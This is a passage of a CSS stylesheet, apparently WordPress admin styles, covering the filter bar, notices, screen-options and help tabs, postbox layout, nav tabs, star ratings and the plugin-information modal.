} #delete-link a { text-decoration: none; } #publishing-action { text-align: right; margin-left: auto; line-height: 1.9; } #publishing-action .spinner { float: none; } #misc-publishing-actions { padding: 6px 0 0; } .misc-pub-section { padding: 6px 10px 8px; } .word-wrap-break-word, .misc-pub-filename { word-wrap: break-word; } #minor-publishing-actions { padding: 10px 10px 0; text-align: right; } #save-post { float: left; } .preview { float: right; } #sticky-span { margin-left: 18px; } .approve, .unapproved .unapprove { display: none; } .unapproved .approve, .spam .approve, .trash .approve { display: inline; } td.action-links, th.action-links { text-align: right; } #misc-publishing-actions .notice { margin-left: 10px; margin-right: 10px; } /* Filter bar */ .wp-filter { display: inline-block; position: relative; box-sizing: border-box; margin: 12px 0 25px; padding: 0 10px; width: 100%; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); border: 1px solid #c3c4c7; background: #fff; color: #50575e; font-size: 13px; } .wp-filter a { text-decoration: none; } .filter-count { display: inline-block; vertical-align: middle; min-width: 4em; } .title-count, .filter-count .count { display: inline-block; position: relative; top: -1px; padding: 4px 10px; border-radius: 30px; background: #646970; color: #fff; font-size: 14px; font-weight: 600; } /* not a part of filter bar, but derived from it, so here for now */ .title-count { display: inline; top: -3px; margin-left: 5px; margin-right: 20px; } .filter-items { float: left; } .filter-links { display: inline-block; margin: 0; } .filter-links li { display: inline-block; margin: 0; } .filter-links li > a { display: inline-block; margin: 0 10px; padding: 15px 0; border-bottom: 4px solid #fff; color: #646970; cursor: pointer; } .filter-links .current { box-shadow: none; border-bottom: 4px solid var(--wp-admin-theme-color); color: #1d2327; } .filter-links li > a:hover, .filter-links li > a:focus, .show-filters .filter-links a.current:hover, .show-filters .filter-links a.current:focus { color: var(--wp-admin-theme-color); } .wp-filter .search-form { float: right; display: flex; align-items: center; column-gap: .5rem; } .wp-filter .search-form input[type="search"] { width: 280px; max-width: 100%; } .wp-filter .search-form select { margin: 0; } .wp-filter .search-form input[type="search"] { min-height: 32px; padding: 0 8px; } .wp-filter .search-form select, .wp-filter .filter-items select { min-height: 32px; line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding: 0 24px 0 8px; } .wp-filter .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } /* Use flexbox only on the plugins install page and upload page. The `filter-links` and search form children will become flex items. */ .plugin-install-php .wp-filter, .upload-php .wp-filter { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; } .wp-filter .search-form.search-plugins select, .wp-filter .search-form.search-plugins .wp-filter-search, .no-js .wp-filter .search-form.search-plugins .button { display: inline-block; vertical-align: top; } .wp-filter .button.drawer-toggle { margin: 10px 9px 0; padding: 0 10px 0 6px; border-color: transparent; background-color: transparent; color: #646970; vertical-align: baseline; box-shadow: none; } .wp-filter .drawer-toggle:before { content: "\f111"; content: "\f111" / ''; margin: 0 5px 0 0; color: #646970; font: normal 16px/1 dashicons; vertical-align: text-bottom; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-filter .button.drawer-toggle:hover, .wp-filter .drawer-toggle:hover:before, .wp-filter .button.drawer-toggle:focus, .wp-filter .drawer-toggle:focus:before { background-color: transparent; color: var(--wp-admin-theme-color); } .wp-filter .button.drawer-toggle:hover, .wp-filter .button.drawer-toggle:focus:active { border-color: transparent; } .wp-filter .button.drawer-toggle:focus { border-color: var(--wp-admin-theme-color); } .wp-filter .button.drawer-toggle:active { background: transparent; box-shadow: none; transform: none; } .wp-filter .drawer-toggle.current:before { color: #fff; } .filter-drawer, .wp-filter .favorites-form { display: none; margin: 0 -10px 0 -20px; padding: 20px; border-top: 1px solid #f0f0f1; background: #f6f7f7; overflow: hidden; } .wp-filter .favorites-form .favorites-username { display: flex; align-items: center; flex-wrap: wrap; gap: 0.5rem; } .wp-filter .favorites-form .favorites-username input { margin: 0; } .show-filters .filter-drawer, .show-favorites-form .favorites-form { display: block; } .show-filters .filter-links a.current { border-bottom: none; } .show-filters .wp-filter .button.drawer-toggle { border-radius: 2px; background: #646970; color: #fff; } .show-filters .wp-filter .drawer-toggle:hover, .show-filters .wp-filter .drawer-toggle:focus { background: var(--wp-admin-theme-color); } .show-filters .wp-filter .drawer-toggle:before { color: #fff; } .filter-group { box-sizing: border-box; position: relative; float: left; margin: 0 1% 0 0; padding: 20px 10px 10px; width: 24%; background: #fff; border: 1px solid #dcdcde; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } .filter-group legend { position: absolute; top: 10px; display: block; margin: 0; padding: 0; font-size: 1em; font-weight: 600; } .filter-drawer .filter-group-feature { margin: 28px 0 0; list-style-type: none; font-size: 12px; } .filter-drawer .filter-group-feature input, .filter-drawer .filter-group-feature label { line-height: 1.4; } .filter-drawer .filter-group-feature input { position: absolute; margin: 0; } .filter-group .filter-group-feature label { display: block; margin: 14px 0 14px 23px; } .filter-drawer .buttons { clear: both; margin-bottom: 20px; } .filter-drawer .filter-group + .buttons { margin-bottom: 0; padding-top: 20px; } .filter-drawer .buttons .button span { display: inline-block; opacity: 0.8; font-size: 12px; text-indent: 10px; } .wp-filter .button.clear-filters { display: none; margin-left: 10px; } .wp-filter .button-link.edit-filters { padding: 0 5px; line-height: 2.2; } .filtered-by { display: none; margin: 0; } .filtered-by > span { font-weight: 600; } .filtered-by a { margin-left: 10px; } .filtered-by .tags { display: flex; align-items: flex-start; flex-wrap: wrap; gap: 8px; } .filtered-by .tag { padding: 4px 8px; border: 1px solid #dcdcde; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); background: #fff; font-size: 11px; } .filters-applied .filter-group, .filters-applied .filter-drawer .buttons, .filters-applied .filter-drawer br { display: none; } .filters-applied .filtered-by { display: flex; align-items: center; flex-wrap: wrap; gap: 10px; } .filters-applied .filter-drawer { padding: 20px; } .show-filters .favorites-form, .show-filters .content-filterable, .show-filters.filters-applied.loading-content .content-filterable, .loading-content .content-filterable, .error .content-filterable { display: none; } .show-filters.filters-applied .content-filterable { display: block; } .loading-content .spinner { display: block; margin: 40px auto 0; float: none; } @media only screen and (max-width: 1138px) { .wp-filter .search-form { margin: 11px 0; } } @media only screen and (max-width: 1250px) { .wp-filter:has(.plugin-install-search) .search-form { margin: 11px 0; } } @media only screen and (max-width: 1120px) { .filter-drawer { border-bottom: 1px solid #f0f0f1; } .filter-group { margin-bottom: 0; margin-top: 5px; width: 100%; } .filter-group li { margin: 10px 0; } } @media only screen and (max-width: 1000px) { .filter-items { float: none; } .wp-filter .media-toolbar-primary, .wp-filter .media-toolbar-secondary, .wp-filter .search-form { float: none; /* Remove float from media-views.css */ position: relative; max-width: 100%; } .wp-filter .search-form { margin: 11px 0; flex-wrap: wrap; row-gap: 10px; } } @media only screen and (max-width: 782px) { .filter-group li { padding: 0; width: 50%; } .wp-filter .search-form input[type="search"] { min-height: 40px; padding: 0 12px; } .wp-filter .search-form select, .wp-filter .filter-items select { min-height: 40px; padding: 0 24px 0 12px; } } @media only screen and (max-width: 320px) { .filter-count { display: none; } .wp-filter .drawer-toggle { margin: 10px 0; } .filter-group li, .wp-filter .search-form input[type="search"] { width: 100%; } } /*------------------------------------------------------------------------------ 4.0 - Notifications ------------------------------------------------------------------------------*/ .notice, div.updated, div.error { background: #fff; border: none; border-left: 4px solid #c3c4c7; box-shadow: none; margin: 5px 15px 2px; padding: 8px 12px; } div[class="update-message"] { /* back-compat for pre-4.6 */ padding: 0.5em 12px 0.5em 0; } .notice p, .notice-title, div.updated p, div.error p, .form-table td .notice p { margin: 0.5em 0; padding: 0; font-size: 13px; line-height: 1.54; color: #1e1e1e; } div.notice a, div.error a, div.updated a { color: var(--wp-admin-theme-color-darker-10); text-decoration: underline; } div.notice a:hover, div.error a:hover, div.updated a:hover { color: var(--wp-admin-theme-color-darker-20); } div.notice a:focus, div.error a:focus, div.updated a:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; border-radius: 2px; } .notice-alt { box-shadow: none; } .notice-large { padding: 10px 20px; } .notice-title { display: inline-block; color: #1d2327; font-size: 18px; } .wp-core-ui .notice.is-dismissible { padding-right: 48px; position: relative; } .notice-dismiss { position: absolute; top: 12px; right: 12px; border: none; margin: 0; padding: 0; background: none; color: #1e1e1e; cursor: pointer; width: 24px; height: 24px; display: flex; align-items: center; justify-content: center; border-radius: 2px; } .notice-dismiss:hover:before, .notice-dismiss:active:before { color: #1e1e1e; opacity: 0.7; } .notice-dismiss:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .notice-dismiss:focus:before { color: #1e1e1e; } .notice-success, div.updated { border-left-color: #4ab866; background-color: #eff9f1; } .notice-success.notice-alt, div.updated.notice-alt { background-color: #eff9f1; } .notice-warning { border-left-color: #f0b849; background-color: #fef8ee; } .notice-warning.notice-alt { background-color: #fef8ee; } .notice-error, div.error { border-left-color: #cc1818; background-color: #fcf0f0; } .notice-error.notice-alt, div.error.notice-alt { background-color: #fcf0f0; } .notice-info { border-left-color: #3858e9; background-color: #fff; } .notice-info.notice-alt { background-color: #fff; } #plugin-information-footer .update-now:not(.button-disabled):before { color: #d63638; content: "\f463"; content: "\f463" / ''; display: inline-block; font: normal 20px/1 dashicons; margin: -3px 5px 0 -2px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: middle; } #plugin-information-footer .notice { margin-top: -5px; } .update-message p:before, .updating-message p:before, .updated-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.updated-message:before, .button.installed:before, .button.installing:before, .button.activating-message:before, .button.activated-message:before { display: inline-block; font: normal 20px/1 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .wrap .notice, .wrap div.updated, .wrap div.error, .media-upload-form .notice, .media-upload-form div.error { margin: 5px 0 15px; } .wrap #templateside .notice { display: block; margin: 0; padding: 5px 8px; font-weight: 600; text-decoration: none; } .wrap #templateside span.notice { margin-left: -12px; } #templateside li.notice a { padding: 0; } /* Update icon. */ .update-message p:before, .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before { color: #d63638; content: "\f463"; content: "\f463" / ''; } /* Spins the update icon. */ .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before, .plugins .column-auto-updates .dashicons-update.spin, .theme-overlay .theme-autoupdate .dashicons-update.spin { animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before, .plugins .column-auto-updates .dashicons-update.spin, .theme-overlay .theme-autoupdate .dashicons-update.spin { animation: none; } } .theme-overlay .theme-autoupdate .dashicons-update.spin { margin-right: 3px; } /* Updated icon (check mark). */ .updated-message p:before, .installed p:before, .button.updated-message:before, .button.activated-message:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; } /* Error icon. */ .update-message.notice-error p:before { color: #d63638; content: "\f534"; content: "\f534" / ''; } .wrap .notice p:before, .import-php .updating-message:before { margin-right: 6px; } .import-php .updating-message:before { vertical-align: bottom; } #update-nag, .update-nag { display: inline-block; line-height: 1.4; padding: 11px 15px; font-size: 14px; margin: 25px 20px 0 2px; } ul#dismissed-updates { display: none; } #dismissed-updates li > p { margin-top: 0; } #dismiss, #undismiss { margin-left: 0.5em; } form.upgrade { margin-top: 8px; } form.upgrade .hint { font-style: italic; font-size: 85%; margin: -0.5em 0 2em; } .update-php .spinner { float: none; margin: -4px 0; } h2.wp-current-version { margin-bottom: .3em; } p.update-last-checked { margin-top: 0; } p.auto-update-status { margin-top: 2em; line-height: 1.8; } #ajax-loading, .ajax-loading, .ajax-feedback, .imgedit-wait-spin, .list-ajax-loading { /* deprecated */ visibility: hidden; } #ajax-response.alignleft { margin-left: 2em; } .button.updating-message:before, .button.updated-message:before, .button.installed:before, .button.installing:before, .button.activated-message:before, .button.activating-message:before { margin: 0 5px 0 -2px; line-height: 1.9; /* 38px (20px * 1.9) - matches button */ vertical-align: top; } #plugin-information-footer .button { padding: 0 14px; line-height: 2.71428571; /* 38px */ font-size: 14px; vertical-align: middle; min-height: 40px; margin-bottom: 4px; } #plugin-information-footer .button.installed:before, #plugin-information-footer .button.installing:before, #plugin-information-footer .button.updating-message:before, #plugin-information-footer .button.updated-message:before, #plugin-information-footer .button.activated-message:before, #plugin-information-footer .button.activating-message:before { margin: 0 5px 0 -2px; line-height: 1.9; /* 38px (20px * 1.9) - matches button */ vertical-align: top; } #plugin-information-footer .button.update-now.updating-message:before { margin: 0 5px 0 -2px; } .button-primary.updating-message:before, .button-primary.activating-message:before { color: #fff; } .button-primary.updated-message:before, .button-primary.activated-message:before { color: #9ec2e6; } .button.updated-message, .button.activated-message { transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } /* @todo: this does not need its own section anymore */ /*------------------------------------------------------------------------------ 6.0 - Admin Header ------------------------------------------------------------------------------*/ #adminmenu a, #taglist a, #catlist a { text-decoration: none; } /*------------------------------------------------------------------------------ 6.1 - Screen Options Tabs ------------------------------------------------------------------------------*/ #screen-options-wrap, #contextual-help-wrap { margin: 0; padding: 8px 20px 12px; position: relative; } #contextual-help-wrap { overflow: auto; margin-left: 0; } #screen-meta-links { float: right; margin: 0 20px 0 0; } /* screen options and help tabs revert */ #screen-meta { display: none; margin: 0 20px -1px 0; position: relative; background-color: #fff; border: 1px solid #c3c4c7; border-top: none; box-shadow: 0 0 0 transparent; } #screen-options-link-wrap, #contextual-help-link-wrap { float: left; margin: 0 0 0 6px; } #screen-meta-links .screen-meta-toggle { position: relative; top: 0; } #screen-meta-links .show-settings { border: 1px solid #c3c4c7; border-top: none; height: auto; margin-bottom: 0; padding: 0 6px 0 16px; background: #fff; border-radius: 0 0 4px 4px; color: #646970; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; } #screen-meta-links .show-settings:hover, #screen-meta-links .show-settings:active, #screen-meta-links .show-settings:focus { color: #2c3338; } #screen-meta-links .show-settings:focus { border-color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #screen-meta-links .show-settings:active { transform: none; } #screen-meta-links .show-settings:after { right: 0; content: "\f140"; content: "\f140" / ''; font: normal 20px/1.5 dashicons; /* line-height 1.5 = 30px to match compact button */ display: inline-block; padding: 0 5px 0 0; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } #screen-meta-links .screen-meta-active:after { content: "\f142"; content: "\f142" / ''; } /* end screen options and help tabs */ .toggle-arrow { background-repeat: no-repeat; background-position: top left; background-color: transparent; height: 22px; line-height: 22px; display: block; } .toggle-arrow-active { background-position: bottom left; } #screen-options-wrap h5, /* Back-compat for old plugins */ #screen-options-wrap legend, #contextual-help-wrap h5 { margin: 0; padding: 8px 0; font-size: 13px; font-weight: 600; } .metabox-prefs label { display: inline-block; padding-right: 15px; line-height: 2.35; } #number-of-columns { display: inline-block; vertical-align: middle; line-height: 30px; } .metabox-prefs input[type=checkbox] { margin-top: 0; margin-right: 6px; } .metabox-prefs label input, .metabox-prefs label input[type=checkbox] { margin: -4px 5px 0 0; } .metabox-prefs .columns-prefs label input { margin: -1px 2px 0 0; } .metabox-prefs label a { display: none; } .metabox-prefs .screen-options input, .metabox-prefs .screen-options label { margin-top: 0; margin-bottom: 0; vertical-align: middle; } .metabox-prefs .screen-options .screen-per-page { margin-right: 15px; padding-right: 0; } .metabox-prefs .screen-options label { line-height: 2.2; padding-right: 0; } .screen-options + .screen-options { margin-top: 10px; } .metabox-prefs .submit { margin-top: 1em; padding: 0; } /*------------------------------------------------------------------------------ 6.2 - Help Menu ------------------------------------------------------------------------------*/ #contextual-help-wrap { padding: 0; } #contextual-help-columns { position: relative; } #contextual-help-back { position: absolute; top: 0; bottom: 0; left: 150px; right: 170px; border: 1px solid #c3c4c7; border-top: none; border-bottom: none; background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } #contextual-help-wrap.no-sidebar #contextual-help-back { right: 0; border-right-width: 0; border-bottom-right-radius: 2px; } .contextual-help-tabs { float: left; width: 150px; margin: 0; } .contextual-help-tabs ul { margin: 1em 0; } .contextual-help-tabs li { margin-bottom: 0; list-style-type: none; border-style: solid; border-width: 0 0 0 2px; border-color: transparent; } .contextual-help-tabs a { display: block; padding: 5px 5px 5px 12px; line-height: 1.4; text-decoration: none; border: 1px solid transparent; border-right: none; border-left: none; } .contextual-help-tabs a:hover { color: #2c3338; } .contextual-help-tabs .active { padding: 0; margin: 0 -1px 0 0; border-left: 2px solid var(--wp-admin-theme-color); background: color-mix(in srgb, var(--wp-admin-theme-color) 8%, white); box-shadow: 0 2px 0 rgba(0, 0, 0, 0.02), 0 1px 0 rgba(0, 0, 0, 0.02); } .contextual-help-tabs .active a { border-color: #c3c4c7; color: #2c3338; } .contextual-help-tabs-wrap { padding: 0 20px; overflow: auto; } .help-tab-content { display: none; margin: 0 22px 12px 0; line-height: 1.6; } .help-tab-content.active { display: block; } .help-tab-content ul li { list-style-type: disc; margin-left: 18px; } .contextual-help-sidebar { width: 150px; float: right; padding: 0 8px 0 12px; overflow: auto; } /*------------------------------------------------------------------------------ 8.0 - Layout Blocks ------------------------------------------------------------------------------*/ html.wp-toolbar { padding-top: var(--wp-admin--admin-bar--height); box-sizing: border-box; -ms-overflow-style: scrollbar; /* See ticket #48545 */ } .widefat th, .widefat td { color: #50575e; } .widefat th, .widefat thead td, .widefat tfoot td { font-weight: 400; } .widefat thead tr th, .widefat thead tr td, .widefat tfoot tr th, .widefat tfoot tr td { color: #2c3338; } .widefat td p { margin: 2px 0 0.8em; } .widefat p, .widefat ol, .widefat ul { color: #2c3338; } .widefat .column-comment p { margin: 0.6em 0; } .widefat .column-comment ul { list-style: initial; margin-left: 2em; } /* Screens with postboxes */ .postbox-container { float: left; } .postbox-container .meta-box-sortables { box-sizing: border-box; } #wpbody-content .metabox-holder { padding-top: 10px; } .metabox-holder .postbox-container .meta-box-sortables { /* The jQuery UI Sortables need some initial height to work properly. */ min-height: 1px; position: relative; } #post-body-content { width: 100%; min-width: 463px; float: left; } #post-body.columns-2 #postbox-container-1 { float: right; margin-right: -300px; width: 280px; } #post-body.columns-2 #side-sortables { min-height: 250px; } /* one column on the dash */ @media only screen and (max-width: 799px) { #wpbody-content .metabox-holder .postbox-container .empty-container { outline: none; height: 0; min-height: 0; } } .js .widget .widget-top, .js .postbox .hndle { cursor: move; } .js .widget .widget-top.is-non-sortable, .js .postbox .hndle.is-non-sortable { cursor: auto; } /* Configurable dashboard widgets "Configure" edit-box link. */ .hndle a { font-size: 12px; font-weight: 400; } .postbox-header { display: flex; align-items: center; justify-content: space-between; border-bottom: 1px solid #c3c4c7; } .postbox-header .hndle { flex-grow: 1; /* Handle the alignment for the configurable dashboard widgets "Configure" edit-box link. */ display: flex; justify-content: space-between; align-items: center; } .postbox-header .handle-actions { flex-shrink: 0; } /* Post box order and toggle buttons. */ .postbox .handle-order-higher, .postbox .handle-order-lower, .postbox .handlediv { width: 1.62rem; height: 1.62rem; margin: 0; padding: 0; border: 0; background: none; cursor: pointer; } .postbox .handle-order-higher, .postbox .handle-order-lower { color: #646970; width: 1.62rem; } /* Post box order buttons in the block editor meta boxes area. */ .edit-post-meta-boxes-area .postbox .handle-order-higher, .edit-post-meta-boxes-area .postbox .handle-order-lower { width: 44px; height: 44px; color: #1d2327 } .postbox .handle-order-higher[aria-disabled="true"], .postbox .handle-order-lower[aria-disabled="true"] { cursor: default; color: #a7aaad; } .sortable-placeholder:not(.empty-container .sortable-placeholder) { border: 1px dashed #c3c4c7; border-radius: 8px; margin-bottom: 20px; } .postbox, .stuffbox { margin-bottom: 20px; padding: 0; line-height: 1; } .postbox.closed .postbox-header { border-bottom: 0; } /* user-select is not a part of the CSS standard - may change behavior in the future */ .postbox .hndle, .stuffbox .hndle { -webkit-user-select: none; user-select: none; } .postbox .inside { padding: 0 12px 12px; line-height: 1.4; font-size: 13px; } .stuffbox .inside { padding: 0; line-height: 1.4; font-size: 13px; margin-top: 0; } .postbox .inside { margin: 11px 0; position: relative; } .postbox .inside > p:last-child, .rss-widget ul li:last-child { margin-bottom: 1px !important; } .postbox.closed h3 { border: none; box-shadow: none; } .postbox table.form-table { margin-bottom: 0; } .postbox table.widefat { box-shadow: none; } .temp-border { border: 1px dotted #c3c4c7; } .columns-prefs label { padding: 0 10px 0 0; } /* @todo: what is this doing here */ #dashboard_right_now .versions .b, #post-status-display, #post-visibility-display, #adminmenu .wp-submenu li.current, #adminmenu .wp-submenu li.current a, #adminmenu .wp-submenu li.current a:hover, .media-item .percent, .plugins .name, #pass-strength-result.strong, #pass-strength-result.short, #ed_reply_toolbar #ed_reply_strong, .item-controls .item-order a, .feature-filter .feature-name, #comment-status-display { font-weight: 600; } /*------------------------------------------------------------------------------ 21.0 - Admin Footer ------------------------------------------------------------------------------*/ #wpfooter { position: absolute; bottom: 0; left: 0; right: 0; padding: 10px 20px; color: #50575e; } #wpfooter p { font-size: 13px; margin: 0; line-height: 1.55; } #footer-thankyou { font-style: italic; } /*------------------------------------------------------------------------------ 25.0 - Tabbed Admin Screen Interface (Experimental) ------------------------------------------------------------------------------*/ .nav-tab { float: left; border: 1px solid #c3c4c7; border-bottom: none; margin-left: 0.5em; /* half the font size so set the font size properly */ padding: 5px 10px; font-size: 14px; line-height: 1.71428571; font-weight: 600; background: #dcdcde; color: #50575e; text-decoration: none; white-space: nowrap; } h3 .nav-tab, /* Back-compat for pre-4.4 */ .nav-tab-small .nav-tab { padding: 5px 14px; font-size: 12px; line-height: 1.33; } .nav-tab:hover, .nav-tab:focus { background-color: #fff; color: #3c434a; } .nav-tab-active, .nav-tab:focus:active { box-shadow: none; } .nav-tab-active { margin-bottom: -1px; color: #3c434a; } .nav-tab-active, .nav-tab-active:hover, .nav-tab-active:focus, .nav-tab-active:focus:active { border-bottom: 1px solid #f0f0f1; background: #f0f0f1; color: #000; } h1.nav-tab-wrapper, /* Back-compat for pre-4.4 */ .wrap h2.nav-tab-wrapper, /* higher specificity to override .wrap > h2:first-child */ .nav-tab-wrapper { border-bottom: 1px solid #c3c4c7; margin: 0; padding-top: 9px; padding-bottom: 0; line-height: inherit; } /* Back-compat for plugins. Deprecated. Use .wp-clearfix instead. */ .nav-tab-wrapper:not(.wp-clearfix):after { content: ""; display: table; clear: both; } /*------------------------------------------------------------------------------ 26.0 - Misc ------------------------------------------------------------------------------*/ .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; display: inline-block; visibility: hidden; float: right; vertical-align: middle; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 10px 10px 0; } .spinner.is-active, .loading-content .spinner { visibility: visible; } #template > div { margin-right: 16em; } #template .notice { margin-top: 1em; margin-right: 3%; } #template .notice p { width: auto; } #template .submit .spinner { float: none; vertical-align: top; } .metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder h3.hndle, /* Back-compat for pre-4.4 */ .metabox-holder h2.hndle { font-size: 14px; padding: 8px 12px; margin: 0; line-height: 1.4; } /* Back-compat for nav-menus screen */ .nav-menus-php .metabox-holder h3 { padding: 0; } .accordion-container h3.accordion-section-title { padding: 0 !important; } .accordion-section-title button.accordion-trigger, .nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger { background: inherit; color: #1d2327; display: block; position: relative; text-align: left; width: 100%; outline: none; border: 0; padding: 10px 10px 11px 14px; line-height: 1.5; cursor: pointer; } .accordion-section-title button.accordion-trigger:focus, .nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); outline: 2px solid transparent; } .accordion-section-title span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down { position: absolute; right: 10px; left: auto; color: #787c82; border-radius: 50px; top: 50%; transform: translateY(-50%); } .accordion-section-title:hover span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section-title:hover span.dashicons.dashicons-arrow-down { color: #1d2327; } .accordion-section-title span.dashicons.dashicons-arrow-down::before, .nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down::before { position: relative; left: -1px; } .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down, .nav-menus-php .metabox-holder .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down { transform: rotate(180deg) translate(0, 50%); } #templateside ul li a { text-decoration: none; } .plugin-install #description, .plugin-install-network #description { width: 60%; } table .vers, table .column-visible, table .column-rating { text-align: left; } .attention, .error-message { color: #d63638; font-weight: 600; } /* Scrollbar fix for bulk upgrade iframe */ body.iframe { height: 98%; } /* Upgrader styles, Specific to Language Packs */ .lp-show-latest p { display: none; } .lp-show-latest p:last-child, .lp-show-latest .lp-error p { display: block; } /* - Only used once or twice in all of WP - deprecate for global style ------------------------------------------------------------------------------*/ .media-icon { width: 62px; /* icon + border */ text-align: center; } .media-icon img { border: 1px solid #dcdcde; border: 1px solid rgba(0, 0, 0, 0.07); } #howto { font-size: 11px; margin: 0 5px; display: block; } .importers { font-size: 16px; width: auto; } .importers td { padding-right: 14px; line-height: 1.4; } .importers .import-system { max-width: 250px; } .importers td.desc { max-width: 500px; } .importer-title, .importer-desc, .importer-action { display: block; } .importer-title { color: #000; font-size: 14px; font-weight: 400; margin-bottom: .2em; } .importer-action { line-height: 1.55; /* Same as with .updating-message */ color: #50575e; margin-bottom: 1em; } #post-body #post-body-content #namediv h3, /* Back-compat for pre-4.4 */ #post-body #post-body-content #namediv h2 { margin-top: 0; } .edit-comment-author { color: #1d2327; border-bottom: 1px solid #f0f0f1; } #namediv h3 label, /* Back-compat for pre-4.4 */ #namediv h2 label { vertical-align: baseline; } #namediv table { width: 100%; } #namediv td.first { width: 10px; white-space: nowrap; } #namediv input { width: 100%; } #namediv p { margin: 10px 0; } /* - Used - but could/should be deprecated with a CSS reset ------------------------------------------------------------------------------*/ .zerosize { height: 0; width: 0; margin: 0; border: 0; padding: 0; overflow: hidden; position: absolute; } br.clear { height: 2px; line-height: 0.15; } .checkbox { border: none; margin: 0; padding: 0; } fieldset { border: 0; padding: 0; margin: 0; } .post-categories { display: inline; margin: 0; padding: 0; } .post-categories li { display: inline; } /* Star Ratings - Back-compat for pre-3.8 */ div.star-holder { position: relative; height: 17px; width: 100px; background: url(../images/stars.png?ver=20121108) repeat-x bottom left; } div.star-holder .star-rating { background: url(../images/stars.png?ver=20121108) repeat-x top left; height: 17px; float: left; } /* Star Ratings */ .star-rating { white-space: nowrap; } .star-rating .star { display: inline-block; width: 20px; height: 20px; -webkit-font-smoothing: antialiased; font-size: 20px; line-height: 1; font-family: dashicons; text-decoration: inherit; font-weight: 400; font-style: normal; vertical-align: top; transition: color .1s ease-in; text-align: center; color: #dba617; } .star-rating .star-full:before { content: "\f155"; content: "\f155" / ''; } .star-rating .star-half:before { content: "\f459"; content: "\f459" / ''; } .rtl .star-rating .star-half { transform: rotateY(180deg); } .star-rating .star-empty:before { content: "\f154"; content: "\f154" / ''; } div.action-links { font-weight: 400; margin: 6px 0 0; } /* Plugin install thickbox */ #plugin-information { background: #fff; position: fixed; top: 0; right: 0; bottom: 0; left: 0; height: 100%; padding: 0; } #plugin-information-scrollable { overflow: auto; -webkit-overflow-scrolling: touch; height: 100%; } #plugin-information-title { padding: 0 26px; background: #f6f7f7; font-size: 22px; font-weight: 600; line-height: 2.4; position: relative; height: 56px; } #plugin-information-title.with-banner { margin-right: 0; height: 250px; background-size: cover; } #plugin-information-title h2 { font-size: 1em; font-weight: 600; padding: 0; margin: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } #plugin-information-title.with-banner h2 { position: relative; font-family: "Helvetica Neue", sans-serif; display: inline-block; font-size: 30px; line-height: 1.68; box-sizing: border-box; max-width: 100%; padding: 0 15px; margin-top: 174px; color: #fff; background: rgba(29, 35, 39, 0.9); text-shadow: 0 1px 3px rgba(0, 0, 0, 0.4); box-shadow: 0 0 30px rgba(255, 255, 255, 0.1); border-radius: 8px; } #plugin-information-title div.vignette { display: none; } #plugin-information-title.with-banner div.vignette { position: absolute; display: block; top: 0; left: 0; height: 250px; width: 100%; background: transparent; box-shadow: inset 0 0 50px 4px rgba(0, 0, 0, 0.2), inset 0 -1px 0 rgba(0, 0, 0, 0.1); } #plugin-information-tabs { padding: 0 16px; position: relative; right: 0; left: 0; min-height: 36px; font-size: 0; z-index: 1; border-bottom: 1px solid #dcdcde; background: #f6f7f7; } #plugin-information-tabs a { position: relative; display: inline-block; padding: 9px 10px; margin: 0; height: 18px; line-height: 1.3; font-size: 14px; text-decoration: none; transition: none; } #plugin-information-tabs a.current { margin: 0 -1px -1px; background: #fff; border: 1px solid #dcdcde; border-bottom-color: #fff; padding-top: 8px; color: #2c3338; } #plugin-information-tabs.with-banner a.current { border-top: none; padding-top: 9px; } #plugin-information-tabs a:active, #plugin-information-tabs a:focus { outline: none; } #plugin-information-content { overflow: hidden; /* equal height column trick */ background: #fff; position: relative; top: 0; right: 0; left: 0; min-height: 100%; /* Height of title + tabs + install now */ min-height: calc( 100% - 152px ); } #plugin-information-content.with-banner { /* Height of banner + tabs + install now */ min-height: calc( 100% - 346px ); } #section-holder { position: relative; top: 0; right: 250px; bottom: 0; left: 0; margin-top: 10px; margin-right: 250px; /* FYI box 